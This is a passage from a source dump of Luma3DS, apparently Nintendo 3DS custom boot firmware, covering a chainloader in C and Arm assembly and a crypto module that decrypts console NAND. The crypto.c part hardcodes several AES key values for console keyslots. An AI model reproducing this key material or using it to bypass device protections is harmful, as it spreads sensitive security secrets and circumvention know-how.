13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | #include "firm.h" 24 | 25 | // chainloader_entry.s 26 | void disableMpuAndJumpToEntrypoints(int argc, char **argv, void *arm11Entry, void *arm9Entry); 27 | void copyFirmSection(void *dst, const void *src, size_t size); 28 | 29 | static void launchFirm(const Firm *firm, int argc, char **argv) 30 | { 31 | //Copy FIRM sections to respective memory locations 32 | //I have benchmarked this and NDMA is actually a little bit slower. 33 | for(u32 sectionNum = 0; sectionNum < 4; sectionNum++) 34 | { 35 | const FirmSection *const section = &firm->section[sectionNum]; 36 | copyFirmSection(section->address, (u8 *)firm + section->offset, section->size); 37 | } 38 | 39 | disableMpuAndJumpToEntrypoints(argc, argv, firm->arm9Entry, firm->arm11Entry); 40 | 41 | __builtin_unreachable(); 42 | } 43 | 44 | void chainloaderMain(const Firm *firm, bool isNand) 45 | { 46 | u32 argc; 47 | char *argv[2] = {0}; 48 | struct fb fbs[2] = 49 | { 50 | { 51 | .top_left = 0x18300000, 52 | .top_right = 0x18300000, 53 | .bottom = 0x18346500, 54 | }, 55 | { 56 | .top_left = 0x18400000, 57 | .top_right = 0x18400000, 58 | .bottom = 0x18446500, 59 | }, 60 | }; 61 | 62 | argv[0] = isNand ? "nand:/boot.firm" : "sdmc:/boot.firm"; 63 | 64 | if(firm->reserved2[0] & 1) 65 | { 66 | argc = 2; 67 | argv[1] = (char *)&fbs; 68 | } 69 | else argc = 1; 70 | 71 | launchFirm(firm, argc, argv); 72 | } 73 | -------------------------------------------------------------------------------- /stage2/arm9/source/chainloader.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | 5 | void NORETURN chainload(const Firm *firm, bool isNand); 6 | -------------------------------------------------------------------------------- /stage2/arm9/source/chainloader_entry.s: -------------------------------------------------------------------------------- 1 | #include "asm_macros.s.h" 2 | .arm 3 | .cpu arm946e-s 4 | 5 | FUNCTION chainload, .chainloader 6 | ldr sp, =__itcm_stack_top__ 7 | b chainloaderMain 8 | END_FUNCTION 9 | 10 | FUNCTION copyFirmSection, .chainloader 11 | push {r4-r12, lr} 12 | cmp r2, #0 13 | beq 2f 14 | 1: 15 | // Copy blocks of 32 bytes 16 | ldm r1!, {r4-r11} 17 | stm r0!, {r4-r11} 18 | subs r2, #32 19 | bne 1b 20 | 2: 21 | pop {r4-r12, pc} 22 | END_FUNCTION 23 | 24 | FUNCTION disableMpuAndJumpToEntrypoints, .chainloader 25 | mov r4, r0 26 | mov r5, r1 27 | mov r6, r2 28 | mov r7, r3 29 | 30 | // Old versions of b9s used ITCM at 0x01FF8000 so we need to translate 31 | // the address contained in argv 32 | ldm r5, {r0, r1} 33 | sub r0, r0, #0x06000000 34 | cmp r1, #0 35 | subne r1, r1, #0x06000000 36 | stm r5, {r0, r1} 37 | sub r5, r5, #0x06000000 38 | 39 | // Clean and invalidate DCache 40 | ldr r12, =0xFFFF0830 41 | blx r12 42 | 43 | // Disable caches / MPU 44 | mrc p15, 0, r0, c1, c0, 0 // read control register 45 | bic r0, #(1<<12) // - instruction cache disable 46 | bic r0, #(1<<2) // - data cache disable 47 | bic r0, #(1<<0) // - MPU disable 48 | mcr p15, 0, r0, c1, c0, 0 // write control register 49 | 50 | // Set the Arm11 entrypoint 51 | mov r0, #0x20000000 52 | str r7, [r0, #-4] 53 | 54 | // Invalidate caches and dsb 55 | mov r8, #0 56 | mcr p15, 0, r8, c7, c5, 0 57 | mcr p15, 0, r8, c7, c6, 0 58 | mcr p15, 0, r8, c7, c10, 4 59 | 60 | // Jump to the Arm9 entrypoint 61 | mov r0, r4 62 | mov r1, r5 63 | ldr r2, =(VERSION_MINOR << 16 | 0xBEEF) 64 | 65 | bx r6 66 | END_FUNCTION 67 | -------------------------------------------------------------------------------- /stage2/arm9/source/crypto.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | /* 24 | * Crypto libs from http://github.com/b1l1s/ctr 25 | * kernel9Loader code originally adapted from https://github.com/Reisyukaku/ReiNand/blob/228c378255ba693133dec6f3368e14d386f2cde7/source/crypto.c#L233 26 | */ 27 | 28 | #include "crypto.h" 29 | #include "alignedseqmemcpy.h" 30 | #include "fatfs/sdmmc/unprotboot9_sdmmc.h" 31 | #include "ndma.h" 32 | #include "cache.h" 33 | 34 | #include 35 | 36 | /**************************************************************** 37 | * Crypto libs 38 | ****************************************************************/ 39 | 40 | /* original version by megazig */ 41 | 42 | #ifndef __thumb__ 43 | #define BSWAP32(x) {\ 44 | __asm__\ 45 | (\ 46 | "eor r1, %1, %1, ror #16\n\t"\ 47 | "bic r1, r1, #0xFF0000\n\t"\ 48 | "mov %0, %1, ror #8\n\t"\ 49 | "eor %0, %0, r1, lsr #8\n\t"\ 50 | :"=r"(x)\ 51 | :"0"(x)\ 52 | :"r1"\ 53 | );\ 54 | }; 55 | 56 | #define ADD_u128_u32(u128_0, u128_1, u128_2, u128_3, u32_0) {\ 57 | __asm__\ 58 | (\ 59 | "adds %0, %4\n\t"\ 60 | "addcss %1, %1, #1\n\t"\ 61 | "addcss %2, %2, #1\n\t"\ 62 | "addcs %3, %3, #1\n\t"\ 63 | : "+r"(u128_0), "+r"(u128_1), "+r"(u128_2), "+r"(u128_3)\ 64 | : "r"(u32_0)\ 65 | : "cc"\ 66 | );\ 67 | } 68 | #else 69 | #define BSWAP32(x) {x = __builtin_bswap32(x);} 70 | 71 | #define ADD_u128_u32(u128_0, u128_1, u128_2, u128_3, u32_0) {\ 72 | __asm__\ 73 | (\ 74 | "mov r4, #0\n\t"\ 75 | "add %0, %0, %4\n\t"\ 76 | "adc %1, %1, r4\n\t"\ 77 | "adc %2, %2, r4\n\t"\ 78 | "adc %3, %3, r4\n\t"\ 79 | : "+r"(u128_0), "+r"(u128_1), "+r"(u128_2), "+r"(u128_3)\ 80 | : "r"(u32_0)\ 81 | : "cc", "r4"\ 82 | );\ 83 | } 84 | #endif /*__thumb__*/ 85 | 86 | static void aes_setkey(u8 keyslot, const void *key, u32 keyType, u32 mode) 87 | { 88 | u32 *key32 = (u32 *)key; 89 | *REG_AESCNT = (*REG_AESCNT & ~(AES_CNT_INPUT_ENDIAN | AES_CNT_INPUT_ORDER)) | mode; 90 | 91 | if(keyslot <= 3) 92 | { 93 | if((mode & AES_CNT_INPUT_ORDER) == AES_INPUT_TWLREVERSED) 94 | { 95 | REGs_AESTWLKEYS[keyslot][keyType][0] = key32[3]; 96 | REGs_AESTWLKEYS[keyslot][keyType][1] = key32[2]; 97 | REGs_AESTWLKEYS[keyslot][keyType][2] = key32[1]; 98 | REGs_AESTWLKEYS[keyslot][keyType][3] = key32[0]; 99 | } 100 | else 101 | { 102 | REGs_AESTWLKEYS[keyslot][keyType][0] = key32[0]; 103 | REGs_AESTWLKEYS[keyslot][keyType][1] = key32[1]; 104 | REGs_AESTWLKEYS[keyslot][keyType][2] = key32[2]; 105 | REGs_AESTWLKEYS[keyslot][keyType][3] = key32[3]; 106 | } 107 | } 108 | 109 | else if(keyslot < 0x40) 110 | { 111 | *REG_AESKEYCNT = (*REG_AESKEYCNT >> 6 << 6) | keyslot | AES_KEYCNT_WRITE; 112 | 113 | REG_AESKEYFIFO[keyType] = key32[0]; 114 | REG_AESKEYFIFO[keyType] = key32[1]; 115 | REG_AESKEYFIFO[keyType] = key32[2]; 116 | REG_AESKEYFIFO[keyType] = key32[3]; 117 | } 118 | } 119 | 120 | 121 | static void aes_use_keyslot(u8 keyslot) 122 | { 123 | if(keyslot > 0x3F) 124 | return; 125 | 126 | *REG_AESKEYSEL = keyslot; 127 | *REG_AESCNT = *REG_AESCNT | 0x04000000; /* mystery bit */ 128 | } 129 | 130 | static void aes_setiv(const void *iv, u32 mode) 131 | { 132 | const u32 *iv32 = (const u32 *)iv; 133 | *REG_AESCNT = (*REG_AESCNT & ~(AES_CNT_INPUT_ENDIAN | AES_CNT_INPUT_ORDER)) | mode; 134 | 135 | //Word order for IV can't be changed in REG_AESCNT and always default to reversed 136 | if(mode & AES_INPUT_NORMAL) 137 | { 138 | REG_AESCTR[0] = iv32[3]; 139 | REG_AESCTR[1] = iv32[2]; 140 | REG_AESCTR[2] = iv32[1]; 141 | REG_AESCTR[3] = iv32[0]; 142 | } 143 | else 144 | { 145 | REG_AESCTR[0] = iv32[0]; 146 | REG_AESCTR[1] = iv32[1]; 147 | REG_AESCTR[2] = iv32[2]; 148 | REG_AESCTR[3] = iv32[3]; 149 | } 150 | } 151 | 152 | static void aes_advctr(void *ctr, u32 val, u32 mode) 153 | { 154 | u32 *ctr32 = (u32 *)ctr; 155 | 156 | int i; 157 | if(mode & AES_INPUT_BE) 158 | { 159 | for(i = 0; i < 4; ++i) //Endian swap 160 | BSWAP32(ctr32[i]); 161 | } 162 | 163 | if(mode & AES_INPUT_NORMAL) 164 | { 165 | ADD_u128_u32(ctr32[3], ctr32[2], ctr32[1], ctr32[0], val); 166 | } 167 | else 168 | { 169 | ADD_u128_u32(ctr32[0], ctr32[1], ctr32[2], ctr32[3], val); 170 | } 171 | 172 | if(mode & AES_INPUT_BE) 173 | { 174 | for(i = 0; i < 4; ++i) //Endian swap 175 | BSWAP32(ctr32[i]); 176 | } 177 | } 178 | 179 | static void aes_change_ctrmode(void *ctr, u32 fromMode, u32 toMode) 180 | { 181 | u32 *ctr32 = (u32 *)ctr; 182 | int i; 183 | if((fromMode ^ toMode) & AES_CNT_INPUT_ENDIAN) 184 | { 185 | for(i = 0; i < 4; ++i) 186 | BSWAP32(ctr32[i]); 187 | } 188 | 189 | if((fromMode ^ toMode) & AES_CNT_INPUT_ORDER) 190 | { 191 | u32 temp = ctr32[0]; 192 | ctr32[0] = ctr32[3]; 193 | ctr32[3] = temp; 194 | 195 | temp = ctr32[1]; 196 | ctr32[1] = ctr32[2]; 197 | ctr32[2] = temp; 198 | } 199 | } 200 | 201 | static void aes_batch(void *dst, const void *src, u32 blockCount) 202 | { 203 | *REG_AESBLKCNT = blockCount; 204 | *REG_AESCNT |= AES_CNT_START; 205 | 206 | const u32 *src32 = (const u32 *)src; 207 | u32 *dst32 = (u32 *)dst; 208 | 209 | u32 wbc = blockCount; 210 | u32 rbc = blockCount; 211 | 212 | while(rbc) 213 | { 214 | if(wbc && ((*REG_AESCNT & 0x1F) <= 0xC)) //There's space for at least 4 ints 215 | { 216 | *REG_AESWRFIFO = *src32++; 217 | *REG_AESWRFIFO = *src32++; 218 | *REG_AESWRFIFO = *src32++; 219 | *REG_AESWRFIFO = *src32++; 220 | wbc--; 221 | } 222 | 223 | if(rbc && ((*REG_AESCNT & (0x1F << 0x5)) >= (0x4 << 0x5))) //At least 4 ints available for read 224 | { 225 | *dst32++ = *REG_AESRDFIFO; 226 | *dst32++ = *REG_AESRDFIFO; 227 | *dst32++ = *REG_AESRDFIFO; 228 | *dst32++ = *REG_AESRDFIFO; 229 | rbc--; 230 | } 231 | } 232 | } 233 | 234 | static void aes(void *dst, const void *src, u32 blockCount, void *iv, u32 mode, u32 ivMode) 235 | { 236 | *REG_AESCNT = mode | 237 | AES_CNT_INPUT_ORDER | AES_CNT_OUTPUT_ORDER | 238 | AES_CNT_INPUT_ENDIAN | AES_CNT_OUTPUT_ENDIAN | 239 | AES_CNT_RDFIFO_SIZE(16) | AES_CNT_WRFIFO_SIZE(16) | 240 | AES_CNT_FLUSH_READ | AES_CNT_FLUSH_WRITE; 241 | 242 | u32 blocks; 243 | while(blockCount != 0) 244 | { 245 | if((mode & AES_ALL_MODES) != AES_ECB_ENCRYPT_MODE 246 | && (mode & AES_ALL_MODES) != AES_ECB_DECRYPT_MODE) 247 | aes_setiv(iv, ivMode); 248 | 249 | blocks = (blockCount >= 0xFFFF) ? 0xFFFF : blockCount; 250 | 251 | //Save the last block for the next decryption CBC batch's iv 252 | if((mode & AES_ALL_MODES) == AES_CBC_DECRYPT_MODE) 253 | { 254 | memcpy(iv, src + (blocks - 1) * AES_BLOCK_SIZE, AES_BLOCK_SIZE); 255 | aes_change_ctrmode(iv, AES_INPUT_BE | AES_INPUT_NORMAL, ivMode); 256 | } 257 | 258 | //Process the current batch 259 | aes_batch(dst, src, blocks); 260 | 261 | //Save the last block for the next encryption CBC batch's iv 262 | if((mode & AES_ALL_MODES) == AES_CBC_ENCRYPT_MODE) 263 | { 264 | memcpy(iv, dst + (blocks - 1) * AES_BLOCK_SIZE, AES_BLOCK_SIZE); 265 | aes_change_ctrmode(iv, AES_INPUT_BE | AES_INPUT_NORMAL, ivMode); 266 | } 267 | 268 | //Advance counter for CTR mode 269 | else if((mode & AES_ALL_MODES) == AES_CTR_MODE) 270 | aes_advctr(iv, blocks, ivMode); 271 | 272 | src += blocks * AES_BLOCK_SIZE; 273 | dst += blocks * AES_BLOCK_SIZE; 274 | blockCount -= blocks; 275 | } 276 | } 277 | 278 | static void sha_wait_idle() 279 | { 280 | while(*REG_SHA_CNT & 1); 281 | } 282 | 283 | static void sha_finish(void *res, u32 mode) 284 | { 285 | *REG_SHA_CNT = (*REG_SHA_CNT & ~SHA_NORMAL_ROUND) | SHA_FINAL_ROUND; 286 | 287 | while(*REG_SHA_CNT & SHA_FINAL_ROUND); 288 | sha_wait_idle(); 289 | 290 | u32 hashSize = SHA_256_HASH_SIZE; 291 | if(mode == SHA_224_MODE) 292 | hashSize = SHA_224_HASH_SIZE; 293 | else if(mode == SHA_1_MODE) 294 | hashSize = SHA_1_HASH_SIZE; 295 | 296 | alignedseqmemcpy(res, (void *)REG_SHA_HASH, hashSize); 297 | } 298 | 299 | void sha(void *res, const void *src, u32 size, u32 mode) 300 | { 301 | sha_wait_idle(); 302 | *REG_SHA_CNT = mode | SHA_CNT_OUTPUT_ENDIAN | SHA_NORMAL_ROUND; 303 | 304 | const u8 *src8 = (const u8 *)src; 305 | while(size >= 0x40) 306 | { 307 | sha_wait_idle(); 308 | alignedseqmemcpy((void *)REG_SHA_INFIFO, src8, 0x40); 309 | 310 | src8 += 0x40; 311 | size -= 0x40; 312 | } 313 | 314 | sha_wait_idle(); 315 | alignedseqmemcpy((void *)REG_SHA_INFIFO, src8, size); 316 | sha_finish(res, mode); 317 | } 318 | 319 | void sha_dma(void *res, const void *src, u32 size, u32 mode) 320 | { 321 | /*u32 srcAddr = (u32)src; 322 | if (srcAddr >= 0x18000000) 323 | *(vu8 *)srcAddr; // BootROM does this */ 324 | 325 | sha_wait_idle(); 326 | 327 | volatile NdmaChannelRegisters *const chan = ®_NDMA->channel[2]; 328 | chan->src_addr = (u32)src; 329 | chan->dst_addr = (u32)REG_SHA_INFIFO; 330 | chan->total_words = size/4; 331 | chan->block_words = 64/4; 332 | chan->cnt = NDMA_ENABLE | NDMA_NORMAL_MODE | NDMA_STARTUP_SHA_IN | NDMA_BURST_WORDS(64/4) | 333 | NDMA_DST_UPDATE_MODE(NDMA_UPDATE_FIXED) | NDMA_SRC_UPDATE_MODE(NDMA_UPDATE_INC); 334 | *REG_SHA_CNT = mode | SHA_CNT_OUTPUT_ENDIAN | SHA_CNT_IN_DMA_ENABLE | SHA_NORMAL_ROUND; 335 | while (chan->cnt & NDMA_ENABLE); 336 | sha_wait_idle(); 337 | sha_finish(res, mode); 338 | } 339 | 340 | /*****************************************************************/ 341 | 342 | static u32 aesNumNandBlocks = 0; 343 | 344 | static s32 bromSdmmcReadWithDmaPrepareCb(u32 fifoAddr) 345 | { 346 | // Check block alignment 347 | const u32 aesFifoSize = (aesNumNandBlocks & 1) ? 16 : 32; 348 | const u32 aesFifoSizeOut = aesFifoSize; 349 | 350 | // SDMMC -> AES 351 | volatile NdmaChannelRegisters *const chan0 = ®_NDMA->channel[0]; 352 | volatile NdmaChannelRegisters *const chan1 = ®_NDMA->channel[1]; 353 | 354 | chan0->src_addr = (u32)fifoAddr; 355 | chan0->dst_addr = (u32)REG_AESWRFIFO; 356 | chan0->block_words = aesFifoSize/4; 357 | chan0->cnt = NDMA_ENABLE | NDMA_NORMAL_MODE | NDMA_STARTUP_SDIO1_TO_AES | 358 | NDMA_BURST_WORDS(aesFifoSize/4) | NDMA_DST_UPDATE_MODE(NDMA_UPDATE_FIXED) | 359 | NDMA_SRC_UPDATE_MODE(NDMA_UPDATE_FIXED); 360 | 361 | // AES -> mem 362 | chan1->src_addr = (u32)REG_AESRDFIFO; 363 | // chan1->dst_addr already filled 364 | chan1->block_words = aesFifoSizeOut/4; 365 | chan1->cnt = NDMA_ENABLE | NDMA_NORMAL_MODE | NDMA_STARTUP_AES_OUT | 366 | NDMA_BURST_WORDS(aesFifoSizeOut/4) | NDMA_DST_UPDATE_MODE(NDMA_UPDATE_INC) | 367 | NDMA_SRC_UPDATE_MODE(NDMA_UPDATE_FIXED); 368 | 369 | *REG_AESCNT |= AES_CNT_START | AES_CNT_IRQ_ENABLE | AES_CNT_RDFIFO_SIZE(aesFifoSizeOut) | AES_CNT_WRFIFO_SIZE(aesFifoSize) | 370 | AES_CNT_FLUSH_READ | AES_CNT_FLUSH_WRITE; 371 | 372 | return 0; 373 | } 374 | 375 | static void bromSdmmcReadWithDmaAbortCb(void) 376 | { 377 | REG_NDMA->channel[0].cnt &= ~NDMA_ENABLE; 378 | REG_NDMA->channel[1].cnt &= ~NDMA_ENABLE; 379 | } 380 | 381 | static s32 aesReadNandWithDma(void *dst, u32 sectorOffset, u32 sectorCount, void *iv) 382 | { 383 | u32 mode = AES_CTR_MODE; 384 | u32 dstAddr = (u32)dst; 385 | 386 | u32 blockCount = sectorCount * 32; 387 | u32 blocks; 388 | u32 ivMode = AES_INPUT_BE | AES_INPUT_NORMAL; 389 | 390 | flushDCacheRange(dst, sectorCount * 0x200); 391 | 392 | *REG_AESCNT = mode | 393 | AES_CNT_INPUT_ORDER | AES_CNT_OUTPUT_ORDER | 394 | AES_CNT_INPUT_ENDIAN | AES_CNT_OUTPUT_ENDIAN; 395 | 396 | volatile NdmaChannelRegisters *const chan0 = ®_NDMA->channel[0]; 397 | volatile NdmaChannelRegisters *const chan1 = ®_NDMA->channel[1]; 398 | 399 | while(blockCount != 0) 400 | { 401 | aes_setiv(iv, ivMode); 402 | 403 | blocks = (blockCount >= 0xFFE0) ? 0xFFE0 : blockCount; // AES_MAX_BLOCKS rounded down to a sector (0x20 AES blocks) 404 | *REG_AESBLKCNT = (u16)blocks; 405 | 406 | chan0->cnt &= ~NDMA_ENABLE; 407 | chan1->cnt &= ~NDMA_ENABLE; 408 | chan0->total_words = blocks << 2; 409 | chan1->total_words = blocks << 2; 410 | chan1->dst_addr = dstAddr; 411 | 412 | //Process the current batch 413 | aesNumNandBlocks = blocks; 414 | s32 res = unprotboot9_sdmmc_readrawsectors_setup(sectorOffset, blocks/32, NULL, bromSdmmcReadWithDmaPrepareCb, bromSdmmcReadWithDmaAbortCb); 415 | if (res != 0) { 416 | return res; 417 | } 418 | 419 | // Wait for transfer to complete. BootROM messes with the interrupt mask. 420 | while (*REG_AESCNT & AES_CNT_START); 421 | while (chan0->cnt & NDMA_ENABLE); 422 | while (chan1->cnt & NDMA_ENABLE); 423 | 424 | //Advance counter for CTR mode 425 | aes_advctr(iv, blocks, ivMode); 426 | 427 | dstAddr += blocks * AES_BLOCK_SIZE; 428 | sectorOffset += blocks / 32; 429 | blockCount -= blocks; 430 | } 431 | 432 | flushDCacheRange(dst, sectorCount * 0x200); 433 | 434 | return 0; 435 | } 436 | 437 | /*****************************************************************/ 438 | 439 | __attribute__((aligned(4))) static u8 nandCtr[AES_BLOCK_SIZE]; 440 | static u8 nandSlot; 441 | static u32 fatStart = 0; 442 | 443 | #define ITCM_BASE 0x07FF8000u 444 | 445 | int ctrNandInit(void) 446 | { 447 | __attribute__((aligned(4))) u8 cid[AES_BLOCK_SIZE], 448 | shaSum[SHA_256_HASH_SIZE]; 449 | 450 | unprotboot9_sdmmc_initdevice(unprotboot9_sdmmc_deviceid_nand); 451 | 452 | memcpy(cid, (const void *)(ITCM_BASE + 0x4D84), 0x10); 453 | sha(shaSum, cid, sizeof(cid), SHA_256_MODE); 454 | memcpy(nandCtr, shaSum, sizeof(nandCtr)); 455 | 456 | nandSlot = ISN3DS ? 0x05 : 0x04; 457 | 458 | int result; 459 | u8 __attribute__((aligned(4))) temp[0x200]; 460 | 461 | //Read NCSD header 462 | result = unprotboot9_sdmmc_selectdevice(unprotboot9_sdmmc_deviceid_nand); 463 | if (result != 0) 464 | return result; 465 | 466 | result = unprotboot9_sdmmc_readrawsectors(0, 1, temp); 467 | 468 | if(!result) 469 | { 470 | if (memcmp(temp + 0x100, "NCSD", 4) != 0) {for(;;);} 471 | u32 partitionNum = 1; //TWL partitions need to be first 472 | for(u8 *partitionId = temp + 0x111; *partitionId != 1; partitionId++, partitionNum++); 473 | 474 | u32 ctrMbrOffset = *((u32 *)(temp + 0x120) + (2 * partitionNum)); 475 | 476 | //Read CTR MBR 477 | result = ctrNandRead(ctrMbrOffset, 1, temp); 478 | 479 | //Calculate final CTRNAND FAT offset 480 | if(!result) fatStart = ctrMbrOffset + *(u32 *)(temp + 0x1C6); 481 | //if (fatStart * 0x200 != 0x0B930000) {for(;;);} 482 | } 483 | 484 | return result; 485 | } 486 | 487 | int ctrNandRead(u32 sector, u32 sectorCount, u8 *outbuf) 488 | { 489 | int result = unprotboot9_sdmmc_selectdevice(unprotboot9_sdmmc_deviceid_nand); 490 | if (result != 0) 491 | return result; 492 | 493 | sector += fatStart; 494 | 495 | __attribute__((aligned(4))) u8 tmpCtr[sizeof(nandCtr)]; 496 | memcpy(tmpCtr, nandCtr, sizeof(nandCtr)); 497 | aes_advctr(tmpCtr, (sector * 0x200) / AES_BLOCK_SIZE, AES_INPUT_BE | AES_INPUT_NORMAL); 498 | aes_use_keyslot(nandSlot); 499 | 500 | result = aesReadNandWithDma(outbuf, sector, sectorCount, tmpCtr); 501 | return result; 502 | } 503 | 504 | static inline void twlConsoleInfoInit(void) 505 | { 506 | u64 twlConsoleId = ISDEVUNIT ? OTP_DEVCONSOLEID : (0x80000000ULL | (*(vu64 *)(ITCM_BASE + 0x3808) ^ 0x8C267B7B358A6AFULL)); 507 | CFG_TWLUNITINFO = CFG_UNITINFO; 508 | OTP_TWLCONSOLEID = twlConsoleId; 509 | 510 | *REG_AESCNT = 0; 511 | 512 | vu32 *k3X = REGs_AESTWLKEYS[3][1], 513 | *k1X = REGs_AESTWLKEYS[1][1]; 514 | 515 | k3X[0] = (u32)twlConsoleId; 516 | k3X[3] = (u32)(twlConsoleId >> 32); 517 | 518 | k1X[2] = (u32)(twlConsoleId >> 32); 519 | k1X[3] = (u32)twlConsoleId; 520 | 521 | aes_setkey(2, (u8 *)(ITCM_BASE + 0x5398), AES_KEYX, AES_INPUT_TWLNORMAL); 522 | if(CFG_TWLUNITINFO != 0) 523 | { 524 | __attribute__((aligned(4))) static const u8 key2YDev[AES_BLOCK_SIZE] = {0x3B, 0x06, 0x86, 0x57, 0x33, 0x04, 0x88, 0x11, 0x49, 0x04, 0x6B, 0x33, 0x12, 0x02, 0xAC, 0xF3}, 525 | key3YDev[AES_BLOCK_SIZE] = {0xAA, 0xBF, 0x76, 0xF1, 0x7A, 0xB8, 0xE8, 0x66, 0x97, 0x64, 0x6A, 0x26, 0x05, 0x00, 0xA0, 0xE1}; 526 | 527 | k3X[1] = 0xEE7A4B1E; 528 | k3X[2] = 0xAF42C08B; 529 | aes_setkey(2, key2YDev, AES_KEYY, AES_INPUT_TWLNORMAL); 530 | aes_setkey(3, key3YDev, AES_KEYY, AES_INPUT_TWLNORMAL); 531 | } 532 | else 533 | { 534 | u32 last3YWord = 0xE1A00005; 535 | __attribute__((aligned(4))) u8 key3YRetail[AES_BLOCK_SIZE]; 536 | 537 | memcpy(key3YRetail, (u8 *)(ITCM_BASE + 0x53C8), 12); 538 | memcpy(key3YRetail + 12, &last3YWord, 4); 539 | 540 | k3X[1] = *(vu32 *)(ITCM_BASE + 0x53A8); //"NINT" 541 | k3X[2] = *(vu32 *)(ITCM_BASE + 0x53AC); //"ENDO" 542 | aes_setkey(2, (u8 *)(ITCM_BASE + 0x5220), AES_KEYY, AES_INPUT_TWLNORMAL); 543 | aes_setkey(3, key3YRetail, AES_KEYY, AES_INPUT_TWLNORMAL); 544 | } 545 | } 546 | 547 | void setupKeyslots(void) 548 | { 549 | //Setup 0x24 KeyY 550 | __attribute__((aligned(4))) static const u8 keyY0x24[AES_BLOCK_SIZE] = {0x74, 0xCA, 0x07, 0x48, 0x84, 0xF4, 0x22, 0x8D, 0xEB, 0x2A, 0x1C, 0xA7, 0x2D, 0x28, 0x77, 0x62}; 551 | aes_setkey(0x24, keyY0x24, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); 552 | 553 | //Setup 0x25 KeyX and 0x2F KeyY 554 | __attribute__((aligned(4))) static const u8 keyX0x25s[2][AES_BLOCK_SIZE] = { 555 | {0xCE, 0xE7, 0xD8, 0xAB, 0x30, 0xC0, 0x0D, 0xAE, 0x85, 0x0E, 0xF5, 0xE3, 0x82, 0xAC, 0x5A, 0xF3}, 556 | {0x81, 0x90, 0x7A, 0x4B, 0x6F, 0x1B, 0x47, 0x32, 0x3A, 0x67, 0x79, 0x74, 0xCE, 0x4A, 0xD7, 0x1B} 557 | }, 558 | keyY0x2Fs[2][AES_BLOCK_SIZE] = { 559 | {0xC3, 0x69, 0xBA, 0xA2, 0x1E, 0x18, 0x8A, 0x88, 0xA9, 0xAA, 0x94, 0xE5, 0x50, 0x6A, 0x9F, 0x16}, 560 | {0x73, 0x25, 0xC4, 0xEB, 0x14, 0x3A, 0x0D, 0x5F, 0x5D, 0xB6, 0xE5, 0xC5, 0x7A, 0x21, 0x95, 0xAC} 561 | }; 562 | 563 | aes_setkey(0x25, keyX0x25s[ISDEVUNIT ? 1 : 0], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); 564 | aes_setkey(0x2F, keyY0x2Fs[ISDEVUNIT ? 1 : 0], AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); 565 | 566 | if(ISN3DS) 567 | { 568 | //Setup 0x05 KeyY 569 | __attribute__((aligned(4))) static const u8 keyY0x5[AES_BLOCK_SIZE] = {0x4D, 0x80, 0x4F, 0x4E, 0x99, 0x90, 0x19, 0x46, 0x13, 0xA2, 0x04, 0xAC, 0x58, 0x44, 0x60, 0xBE}; 570 | aes_setkey(0x05, keyY0x5, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); 571 | } 572 | 573 | //Setup TWL keys 574 | twlConsoleInfoInit(); 575 | 576 | //Set 0x11 keyslot 577 | __attribute__((aligned(4))) static const u8 key1s[2][AES_BLOCK_SIZE] = { 578 | {0x07, 0x29, 0x44, 0x38, 0xF8, 0xC9, 0x75, 0x93, 0xAA, 0x0E, 0x4A, 0xB4, 0xAE, 0x84, 0xC1, 0xD8}, 579 | {0xA2, 0xF4, 0x00, 0x3C, 0x7A, 0x95, 0x10, 0x25, 0xDF, 0x4E, 0x9E, 0x74, 0xE3, 0x0C, 0x92, 0x99} 580 | }, 581 | key2s[2][AES_BLOCK_SIZE] = { 582 | {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0}, 583 | {0xFF, 0x77, 0xA0, 0x9A, 0x99, 0x81, 0xE9, 0x48, 0xEC, 0x51, 0xC9, 0x32, 0x5D, 0x14, 0xEC, 0x25} 584 | }; 585 | 586 | 587 | __attribute__((aligned(4))) u8 keyBlocks[2][AES_BLOCK_SIZE] = { 588 | {0xA4, 0x8D, 0xE4, 0xF1, 0x0B, 0x36, 0x44, 0xAA, 0x90, 0x31, 0x28, 0xFF, 0x4D, 0xCA, 0x76, 0xDF}, 589 | {0xDD, 0xDA, 0xA4, 0xC6, 0x2C, 0xC4, 0x50, 0xE9, 0xDA, 0xB6, 0x9B, 0x0D, 0x9D, 0x2A, 0x21, 0x98} 590 | }, decKey[AES_BLOCK_SIZE]; 591 | 592 | //Initialize Key 0x18 593 | aes_setkey(0x11, key1s[ISDEVUNIT ? 1 : 0], AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); 594 | aes_use_keyslot(0x11); 595 | aes(decKey, keyBlocks[0], 1, NULL, AES_ECB_DECRYPT_MODE, 0); 596 | aes_setkey(0x18, decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); 597 | 598 | //Initialize Key 0x19-0x1F 599 | aes_setkey(0x11, key2s[ISDEVUNIT ? 1 : 0], AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); 600 | aes_use_keyslot(0x11); 601 | for(u8 slot = 0x19; slot < 0x20; slot++, keyBlocks[1][0xF]++) 602 | { 603 | aes(decKey, keyBlocks[1], 1, NULL, 